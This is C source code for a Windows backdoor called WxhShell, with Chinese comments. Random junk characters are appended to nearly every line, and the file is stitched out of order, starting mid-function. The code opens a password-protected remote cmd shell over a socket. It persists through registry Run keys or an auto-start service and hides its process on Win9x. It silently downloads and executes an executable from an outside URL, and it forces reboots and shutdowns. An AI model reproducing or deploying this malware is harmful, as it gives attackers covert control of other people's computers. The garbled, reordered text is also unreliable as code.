    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mi)h<lY  
    else { 8DGPA  
    closesocket(wsh); r)|6H"n#]S  
    ExitThread(0); 8e"MP\0V  
    } 1YScZ  
    break; Nh[H[1"J  
    } 3<O=,F  
  // 获取shell jp880}  
  case 's': { Rrw6\iO  
    CmdShell(wsh); 8DkZ @}  
    closesocket(wsh); o3cE.YUF  
    ExitThread(0); LbUH`0:%t  
    break; p`)Mk<`dYD  
  } C 8KV<k  
  // 退出  {HbSty  
  case 'x': { aIo%~w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +FH@|~^O  
    CloseIt(wsh); V='A;gs  
    break; #`@5`;U>#  
    } ov\+&=IRG  
  // 离开 ]ONBr(M\  
  case 'q': { F60?%gg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \ 0/m$V.  
    closesocket(wsh); ]jSRO30H3<  
    WSACleanup(); -,q qQf  
    exit(1); 3}5Ya\x  
    break; }CM#jN?(  
        } BVG.ZZR})  
  } d+p^fBz  
  } :%<'('S |  
.^8rO ,H[  
  // 提示信息 c)Ne/E{!0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s\e b  
} %?Q<  
  } 1EWskmp  
K"cV7U rE  
  return; :Q ?p^OC  
} &2r[4  
+ zf`_1+)U  
// shell模块句柄 E&dxM{`  
int CmdShell(SOCKET sock) C:.>*;?7  
{ Ac'pu,v  
STARTUPINFO si; g>QN9v})  
ZeroMemory(&si,sizeof(si)); w[g`)8Ib  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e)$a;6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _wUg+Xs]  
PROCESS_INFORMATION ProcessInfo; K0|:+s@u  
char cmdline[]="cmd"; =klfCFwP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f h:wmc'  
  return 0; nh? JiH {  
} X*M2 O%g`L  
{Ga=; 0  
// 自身启动模式 nd"$gi  
int StartFromService(void) VNwOD-b/]  
{ P6A##z  
typedef struct qwq5y t?  
{ Fg0!2MKq*  
  DWORD ExitStatus; d^8n  
  DWORD PebBaseAddress; NInZ~4:  
  DWORD AffinityMask; :xk+`` T  
  DWORD BasePriority; z.;!Pj  
  ULONG UniqueProcessId; r<B pX["  
  ULONG InheritedFromUniqueProcessId; &q +l5L"  
}   PROCESS_BASIC_INFORMATION; C=t9P#g*.  
O*yA50Cn  
PROCNTQSIP NtQueryInformationProcess; h0")NBRV&  
pGr4b:N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v oO7W"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k\Y*tY#2  
"sT)<Wc  
  HANDLE             hProcess;  v> s,*  
  PROCESS_BASIC_INFORMATION pbi; 4'"WD0  
=R)w=ce  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8?ip,Q\  
  if(NULL == hInst ) return 0; 9\uBX.]x  
[#%@,C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u/ri {neP{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =s9*=5r8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sF3@7~m4  
e.W<pI,  
  if (!NtQueryInformationProcess) return 0; , [<$X{9  
thz[h5C?C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m#<Jr:-  
  if(!hProcess) return 0; eQ*zi9na  
gHFQs](G.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3R%yKa#  
i:Gyi([C  
  CloseHandle(hProcess); M\RHFTB<C  
hFnUw2 6P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )Myx(w"S  
if(hProcess==NULL) return 0; yd[4l%G(zS  
|uI~}pSG  
HMODULE hMod; @}pcj2K#  
char procName[255]; iU~xb ?,,  
unsigned long cbNeeded; hV&"  
6{I6'+K~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;U#=H9_  
^oR qu  
  CloseHandle(hProcess); 4'td6F  
& Zjs  
if(strstr(procName,"services")) return 1; // 以服务启动 #Z,@yJ2wl  
dptfIBYc+  
  return 0; // 注册表启动 !x! 1H5"  
} bXA%|7*  
WWC&-Ni  
// 主模块 !w%p Gv.wg  
int StartWxhshell(LPSTR lpCmdLine) *S?'[PS]1  
{ u8gqWsvruM  
  SOCKET wsl; 0`Uw[Er&  
BOOL val=TRUE; =Y*@8=V  
  int port=0; >M0^R} v  
  struct sockaddr_in door; <[$a7l i  
z#lIu  
  if(wscfg.ws_autoins) Install(); *=tA},`\7  
+S'm<}"1  
port=atoi(lpCmdLine); +VL:O]`DJ  
)l.AsfW%  
if(port<=0) port=wscfg.ws_port; ia,5=SKJ  
U;0:@.q  
  WSADATA data; db@^CS[P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0O>M/ *W  
QEMT'Cs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *j=58d`n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]wfY<Z  
  door.sin_family = AF_INET; 2:<H)oB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JeF$ W!!{  
  door.sin_port = htons(port); h!Y##_&&4  
3i\Np =  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |kD69 }sG  
closesocket(wsl); 1/i1o nu}  
return 1; gYbcBb%z  
} <~aKwSF[wW  
P4.)kK.3q|  
  if(listen(wsl,2) == INVALID_SOCKET) { 1 ^30]2'_  
closesocket(wsl); )2#q i/  
return 1; &%g$Bi,G  
} ` TH\0/eE  
  Wxhshell(wsl); R~eLEjezm  
  WSACleanup(); kU#k#4X4g  
6:AEg  
return 0; Af r*'  
O*Y?: t  
} ].2t7{64  
:4\%a4{Ie  
// 以NT服务方式启动 ";7/8(LBZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f=.!/e70  
{ (F9e.QyWb  
DWORD   status = 0; D!ASO]  
  DWORD   specificError = 0xfffffff; #,97 ]  
|'I>Ojm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KW3<5+w]c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L=fy!R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1yqsE`4f  
  serviceStatus.dwWin32ExitCode     = 0; TL)7X.1'L  
  serviceStatus.dwServiceSpecificExitCode = 0; k~3\0man  
  serviceStatus.dwCheckPoint       = 0;  <4< y  
  serviceStatus.dwWaitHint       = 0; PKC0Dt;F.  
VMe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5g O9 <  
  if (hServiceStatusHandle==0) return; D u T6Od/f  
|QMmF"0  
status = GetLastError(); `& '{R<cL  
  if (status!=NO_ERROR) #9 Fk&Lx  
{ m)  rVzL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !m%'aQHH(  
    serviceStatus.dwCheckPoint       = 0; l)~ U8  
    serviceStatus.dwWaitHint       = 0; 2`j{n \/  
    serviceStatus.dwWin32ExitCode     = status; A{M7   
    serviceStatus.dwServiceSpecificExitCode = specificError; iOSt=-p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gs=ok8w  
    return; "C(yuVK1G  
  } ru6M9\h*  
R MOs1<D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VW*?(,#j{  
  serviceStatus.dwCheckPoint       = 0; A?$-Uqb"  
  serviceStatus.dwWaitHint       = 0; QgQclML1|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u;!h   
} bsr]Z&9rrk  
:I7mM y*  
// 处理NT服务事件,比如:启动、停止 `& h-+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e+F $fQt>  
{ [\Nmm4  
switch(fdwControl) 4]$OO'  
{ K=E+QvSG  
case SERVICE_CONTROL_STOP: gat;Er  
  serviceStatus.dwWin32ExitCode = 0; VH<d[Mj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |yz o|%]3  
  serviceStatus.dwCheckPoint   = 0; -iY-rzW  
  serviceStatus.dwWaitHint     = 0; `#wEa'v6  
  { f F)M'C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S=.%aB  
  } (5,x5l]-N  
  return; (6NDY5h~=n  
case SERVICE_CONTROL_PAUSE: S'W,AkT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d*VvQU8C  
  break; =:zPT;K  
case SERVICE_CONTROL_CONTINUE: @YQ*a4`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $Dx*[.M3>  
  break; zi_$roq=)  
case SERVICE_CONTROL_INTERROGATE: ARt{ 2|  
  break; !8T04988j  
}; B|yz~wu S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hN~H8.g  
} '+ZJf&Ox  
Ge=^q.  
// 标准应用程序主函数 Rm}5AJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C.":2F;-e  
{ /5z,G r  
BD;T>M  
// 获取操作系统版本 cWZ uph\  
OsIsNt=GetOsVer(); tm1&OY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u\= 05N6G  
Otx>S' 5  
  // 从命令行安装 <[-{:dH,5  
  if(strpbrk(lpCmdLine,"iI")) Install(); N*6~$zl&  
o|vL:| 8Q  
  // 下载执行文件 .-![ ra  
if(wscfg.ws_downexe) { ],[<^=|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SZLugyZ2Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); m@+QC$6S  
} qV idtSb  
&JKQH  
if(!OsIsNt) { doe3V-if  
// 如果时win9x,隐藏进程并且设置为注册表启动 `OgT"FdL!  
HideProc(); M!mw6';k  
StartWxhshell(lpCmdLine); K(lSR  
} O cPgw/ I  
else  H!hd0.  
  if(StartFromService()) Bq HqS  
  // 以服务方式启动 | 4}Y:d  
  StartServiceCtrlDispatcher(DispatchTable); %4F\#" A  
else \`["IkSg7  
  // 普通方式启动 X>Q44FV!  
  StartWxhshell(lpCmdLine); K(PSGlI f  
]!P8{xmb@  
return 0; S]|sK Y  
} rc<Ix  
d4ld-y  
tKcC{  
}CMGK{  
=========================================== ZzTkEz >  
zh0T3U0D  
>o{JG(Rn  
4e.19H9  
E`(=n(Qu  
=)c-Xz  
" _yR_u+5  
;|oft-y  
#include <stdio.h> QdcuV\B}  
#include <string.h> &4}=@'G@  
#include <windows.h> ot2zY dWAz  
#include <winsock2.h> 6__!M  
#include <winsvc.h> *QWOW g4w  
#include <urlmon.h> rC!"<  
iu*&Jz)D>  
#pragma comment (lib, "Ws2_32.lib") =[!(s/+>L  
#pragma comment (lib, "urlmon.lib") vzbGLap#  
M  |h B[  
#define MAX_USER   100 // 最大客户端连接数 j$XaO%y)  
#define BUF_SOCK   200 // sock buffer v=hn# U  
#define KEY_BUFF   255 // 输入 buffer xyM|q9Gf@  
&0y` Gt  
#define REBOOT     0   // 重启 yEbo`/ ]b  
#define SHUTDOWN   1   // 关机 %HtgZeY  
Z|N$qm}  
#define DEF_PORT   5000 // 监听端口 *c=vEQn-  
f(blqO.@l  
#define REG_LEN     16   // 注册表键长度 u^|cG{i5"  
#define SVC_LEN     80   // NT服务名长度 4vN:Kj  
4ytdcb   
// 从dll定义API bE mN tp^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bHx@   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tJ6Q7 J;n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~8mz.ZdY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hgW1g#  
^,^MW  
// wxhshell配置信息 uM_ww6  
struct WSCFG { uKXD(lzX  
  int ws_port;         // 监听端口 "M-';;  
  char ws_passstr[REG_LEN]; // 口令 9$e$L~I#u  
  int ws_autoins;       // 安装标记, 1=yes 0=no .;Gx.}ITG6  
  char ws_regname[REG_LEN]; // 注册表键名 7=u Gf$/  
  char ws_svcname[REG_LEN]; // 服务名 +^esL9RG:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -ZSN0Xk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hd\oV^ >  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hLuv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v{ohrpb0v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +a|Q)Ob  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |94o P>d  
X)RgXl{  
}; #=)>,6Z w  
Zi]E!Tgn  
// default Wxhshell configuration Tzj v-9^V  
struct WSCFG wscfg={DEF_PORT, 0w TOdCvmb  
    "xuhuanlingzhe", G!C }ULq  
    1, H-e$~vEbP  
    "Wxhshell", t%^&b'/Z  
    "Wxhshell", K^"l.V#J  
            "WxhShell Service", ( 6zu*H)  
    "Wrsky Windows CmdShell Service", kFkI[WKyZ  
    "Please Input Your Password: ", havmhS)O  
  1, G{X7;j e  
  "http://www.wrsky.com/wxhshell.exe", C]JK'K<7-  
  "Wxhshell.exe" l SKq  
    }; FhBV.,bU,m  
y?r`[{L(lA  
// 消息定义模块 M/[_~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~AaEa,LQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?ZC!E0]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ug0c0z!b  
char *msg_ws_ext="\n\rExit."; ,{(XT7hr  
char *msg_ws_end="\n\rQuit."; {*8G<&  
char *msg_ws_boot="\n\rReboot..."; =6\^F i  
char *msg_ws_poff="\n\rShutdown..."; rZB='(?  
char *msg_ws_down="\n\rSave to "; (4q/LuP^d  
j$6Q]5KdoS  
char *msg_ws_err="\n\rErr!"; ,2FI?}+R  
char *msg_ws_ok="\n\rOK!"; 6/g 82kqpk  
e&!c8\F  
char ExeFile[MAX_PATH]; 8#,_%<?UVy  
int nUser = 0; Au)~"N~p?  
HANDLE handles[MAX_USER]; ` wj'  
int OsIsNt; M(\{U"%@?  
|XQ_4{  
SERVICE_STATUS       serviceStatus; s}UJv\*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AG%[?1IXW  
zNo"P[J8  
// 函数声明 tD#)  
int Install(void); #Q=c.AL{  
int Uninstall(void); Qof%j@  
int DownloadFile(char *sURL, SOCKET wsh); RSB+Saf.8  
int Boot(int flag); bxO/FrwTj{  
void HideProc(void); hCgk78O?  
int GetOsVer(void); H*N{4zBB  
int Wxhshell(SOCKET wsl); iC!6g|]X  
void TalkWithClient(void *cs); Y%TY%"<  
int CmdShell(SOCKET sock); @aFk|.6  
int StartFromService(void); rk;]7Wu  
int StartWxhshell(LPSTR lpCmdLine); T]/>c  
:,$"Gk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E^{!B]/oP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hRB?NM  
T?Z&\g0yp  
// 数据结构和表定义 ()t~X Q  
SERVICE_TABLE_ENTRY DispatchTable[] = ='1hvv/  
{ j bT{K|d-  
{wscfg.ws_svcname, NTServiceMain}, 6v%ePFul  
{NULL, NULL} ]^wr+9zd  
}; If&y 5C  
x2HISxg  
// 自我安装 PMbq5  
int Install(void) %Q}(.h%M  
{ ld|GY>rH  
  char svExeFile[MAX_PATH]; 6,~ 1^g*  
  HKEY key; 7l*vmF6Z  
  strcpy(svExeFile,ExeFile); U6H3T0#  
NZ8X@|N  
// 如果是win9x系统,修改注册表设为自启动 ,|z zq@fk  
if(!OsIsNt) { Tz9 (</y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pJl/d;Cyrb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  Q3bU"f  
  RegCloseKey(key); WL,2<[)Ew  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c 8Q2H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w<]-~`K  
  RegCloseKey(key); 1!U:M8T|  
  return 0; jyyig%  
    } Xj30bt  
  } Y+$]N:\F\  
} -jrAk  
else { 5efN5Kt  
BOA7@Zaa$p  
// 如果是NT以上系统,安装为系统服务 *$;Zk!sEF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); } C/+zF6q  
if (schSCManager!=0) v,~f G>Y}  
{ LLzxCMc9*  
  SC_HANDLE schService = CreateService e$Yvy>I'tS  
  ( =;I+: K  
  schSCManager, @ %q>Jd  
  wscfg.ws_svcname, ku}`PS0UGd  
  wscfg.ws_svcdisp, 7\nXJ381  
  SERVICE_ALL_ACCESS, S&[9Vb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , glROT@  
  SERVICE_AUTO_START, ij3W8i9'  
  SERVICE_ERROR_NORMAL, 8*B+@`  
  svExeFile, |tLD^`bt  
  NULL, 3q@JhB  
  NULL, (ToD u@p  
  NULL, lS p"(&  
  NULL, w0H#M)c  
  NULL :1bDkoK  
  ); (@^ySiU  
  if (schService!=0) {;u+?uY  
  { (w(k*b/  
  CloseServiceHandle(schService); AkO);4A;Jd  
  CloseServiceHandle(schSCManager); J 48$l(l3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  [Ne'2z  
  strcat(svExeFile,wscfg.ws_svcname); ]Z=al`-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v*As:;D_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %" l;  
  RegCloseKey(key); o#z$LT1dY  
  return 0; BOy&3.h5?  
    } 7D'D7=Z.  
  } mtE+}b@(!&  
  CloseServiceHandle(schSCManager); yFd94 2  
} v Lq%k+D#  
} SlT>S1`rnG  
Wy-y-wi:p  
return 1; ;<b7kepR  
} C#)T$wl[E  
yn<J>e  
// 自我卸载 j]R[;8g  
int Uninstall(void) T VSCjI  
{ BYa#<jXtAT  
  HKEY key; a +~b3  
w2('75$J  
if(!OsIsNt) { UH\{:@GjNO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :kwDa a  
  RegDeleteValue(key,wscfg.ws_regname); .J+F H G'  
  RegCloseKey(key); kFyp;=d:K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lg#(?tMp,'  
  RegDeleteValue(key,wscfg.ws_regname); 15' fU!  
  RegCloseKey(key); >*!^pbZfX  
  return 0; CW/L(RQ  
  } }ALli0n`V)  
} =i Dd{$  
} cc}#-HKR[  
else { UM]3MS:[  
TGPZUyi3!=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mV4gw'.;7  
if (schSCManager!=0) D~M R)z_p~  
{ T:|p[Xbo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E:PPb9Kd  
  if (schService!=0) S0r+Y0J]<  
  { g:G5'pZf  
  if(DeleteService(schService)!=0) { +bJ~S:[  
  CloseServiceHandle(schService); #,XZ@u+  
  CloseServiceHandle(schSCManager); aX |(%1r  
  return 0; (FgX9SV]p9  
  } MpJ<.|h  
  CloseServiceHandle(schService); q 6>}  
  } UK,sMKbl1  
  CloseServiceHandle(schSCManager); XAtRA1.  
} =9 ^}>u  
} w8J8III\~  
Zt=P 0  
return 1; y+{)4ptg$<  
} EdSUBoWF}  
zM<L_l&  
// 从指定url下载文件 +qT+iHa|n  
int DownloadFile(char *sURL, SOCKET wsh) 8$ #z>  
{ I,)\506  
  HRESULT hr; MLmaA3  
char seps[]= "/"; 5a)$:oO!  
char *token; se=^K#o  
char *file; sdyNJh7Jr  
char myURL[MAX_PATH]; DUF$-'A  
char myFILE[MAX_PATH]; UA ]fKi  
~3f|-%Z  
strcpy(myURL,sURL); lB_X mI1t  
  token=strtok(myURL,seps); ~82 {Y _{/  
  while(token!=NULL) T34Z#PFwe  
  { zfg+gd)Z  
    file=token; @M'qi=s*  
  token=strtok(NULL,seps); @v&s|X '  
  } A:yql`&s  
h.l.da1#  
GetCurrentDirectory(MAX_PATH,myFILE); y c 8 h}`  
strcat(myFILE, "\\"); gjX1z{{~L  
strcat(myFILE, file); eQn[  
  send(wsh,myFILE,strlen(myFILE),0); ?cKTeGrS  
send(wsh,"...",3,0); ,IE.8h)H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WpnP^gmX  
  if(hr==S_OK) IA]wO%c  
return 0; 3Lq9pdM>2@  
else ux| QGT2LY  
return 1; G#6Z@|kVw  
-o!bO9vC  
} U0{)goN.  
%^nNt:N0  
// 系统电源模块 Em5,Zr_  
int Boot(int flag) u%I%4 gM  
{ #e,TS`"eD  
  HANDLE hToken; kp}[nehF  
  TOKEN_PRIVILEGES tkp; khD)x0'b  
g#7Q-n3^  
  if(OsIsNt) { }&2,!;"">3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v9S=$Aj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `8Ych@f]  
    tkp.PrivilegeCount = 1; uwZ,l-6T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <o*b6 m%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6-J}ZfGj  
if(flag==REBOOT) { y'>JT/Q5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6%>'n?  
  return 0; 6?C';1  
} dG]B-(WTC  
else { tns8B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V |}9bNF  
  return 0; iSW<7pNq0  
} ^yq}>_  
  } U?5lqq  
  else { bX(/2_l  
if(flag==REBOOT) { o76!7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kN8B,  
  return 0; hN]l $Ct  
} 5;^1Ab0  
else { {&B_b|g*fW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iF837ng5  
  return 0; 0( A  ?&  
} H{S+^'5Y.  
} ;BT7pyu%[  
dC-~=}HR^  
return 1; KRcB_(  
} sK&kp=zu  
ZZTf/s*  
// win9x进程隐藏模块 ]FIIs58IM  
void HideProc(void) ~K<h~TNP  
{ ,r]H+vWS  
-38"S;M8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )cZHBG.0H  
  if ( hKernel != NULL ) .>.GQUr  
  { '` 2MxRP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x a<KF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O"\_%=X9  
    FreeLibrary(hKernel); bGK*1FlH  
  } k<+Sj h$  
d ePk}Sn  
return; Yg,b ;H  
} ju "?b2f  
/4c`[  
// 获取操作系统版本 4Y2I'~'  
int GetOsVer(void) ^H1m8=  
{ V+@}dJS  
  OSVERSIONINFO winfo; ,Tegrz&G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y"'p#j  
  GetVersionEx(&winfo); KF1iYo>p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) % -AcA  
  return 1; wQjYH!u,YZ  
  else #\QW <I#/  
  return 0; <g;,or#$  
} I2*(v%.-  
{f)aFGp  
// 客户端句柄模块 5dN>Xjpu  
int Wxhshell(SOCKET wsl) dg|x(p#  
{ SOM? 0.  
  SOCKET wsh; C/qKa[mg  
  struct sockaddr_in client; @fp@1n  
  DWORD myID; k3@d = k  
i$@xb_  
  while(nUser<MAX_USER) yI#qkl-  
{ jl(D;JnF  
  int nSize=sizeof(client); E QU@';~8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fDplYn#  
  if(wsh==INVALID_SOCKET) return 1; *ls6k`ymL  
x>TIx[ x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }5(_gYr  
if(handles[nUser]==0) Cb?  !+U  
  closesocket(wsh); h9<PP2.(  
else X1a~l|$h  
  nUser++; -Fn/=  
  } '/9j"mIA9$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U:n~S  
?QJx!'Y,p  
  return 0; gT$WG$^i  
} FK~wr;[  
b|DU  
// 关闭 socket Sk!' 2y*@&  
void CloseIt(SOCKET wsh) T&>65`L  
{ ) xa )$u  
closesocket(wsh); 24? _k]Y  
nUser--; FZ+2{wIV^  
ExitThread(0); R8u8jG(4  
}  aY(s &  
DT>`.y%2W  
// 客户端请求句柄 SM RKEPwp&  
void TalkWithClient(void *cs) )D6 i {I0  
{ gWa0x-  
j y5[K.  
  SOCKET wsh=(SOCKET)cs; "N=$ =Dy >  
  char pwd[SVC_LEN]; ]wEI *c(  
  char cmd[KEY_BUFF]; C=q&S6/+  
char chr[1]; h'=)dFw7  
int i,j; { >izfG,\  
g_P98_2f.k  
  while (nUser < MAX_USER) { y'odn ;  
mhhc}dS(H  
if(wscfg.ws_passstr) { N~ CQh=<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |^UQVNJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )^s> 21  
  //ZeroMemory(pwd,KEY_BUFF); ;7?oJH;  
      i=0; H,w8+vZ4\  
  while(i<SVC_LEN) { z[QDJMt>  
&ZC{ _t  
  // 设置超时 1R~$m  
  fd_set FdRead; 6O6B8  
  struct timeval TimeOut; L%5y@b{AR  
  FD_ZERO(&FdRead); U!o  
  FD_SET(wsh,&FdRead); f&^}yqmuE  
  TimeOut.tv_sec=8; ; I-6H5  
  TimeOut.tv_usec=0; yGt [Qvx#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [|eIax xR,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U+B"$yBR  
*k,3@_5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !J#P 'x0  
  pwd=chr[0]; ^$O(oE(D  
  if(chr[0]==0xd || chr[0]==0xa) { __$;Z  
  pwd=0; D3dh,&KO\  
  break; ">t^jt{  
  } uchQv]VB  
  i++; .U|'KCM9m  
    } !w%c= V]tV  
8gE p5  
  // 如果是非法用户,关闭 socket .txtt?ZF2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yy8BkG(  
} K\xM%O?  
XBCHJj]k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T$2A2gb `  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y< dBF[  
x  zF  
while(1) { YB4 ZI  
1z&"V}y  
  ZeroMemory(cmd,KEY_BUFF); YQ?hAAJ  
2(3Q#3V  
      // 自动支持客户端 telnet标准   \ { QH^  
  j=0; f~P YK  
  while(j<KEY_BUFF) { Khi6z&B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P}gtJ;  
  cmd[j]=chr[0]; ZZ^A&%E(a  
  if(chr[0]==0xa || chr[0]==0xd) { `^8mGR>OpI  
  cmd[j]=0; a1I-d=]  
  break; Ar/P%$Zfq  
  } LsIZeL^  
  j++; hkb\ GcOj  
    } }DjVZ48  
!\%JOf}  
  // 下载文件 $+4 4US  
  if(strstr(cmd,"http://")) { 13v`rK`7o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N-F&=u}  
  if(DownloadFile(cmd,wsh)) 1/:vFX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-"tQ,AZ  
  else diM*jN#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iH-,l  
  } iN'T^+um=  
  else { NkBvN\CQ  
Hn)? xw]x  
    switch(cmd[0]) { ^J7q,tvbJ  
  ['\R4H!x  
  // 帮助 <BBzv-?D  
  case '?': { +0ukLc@  
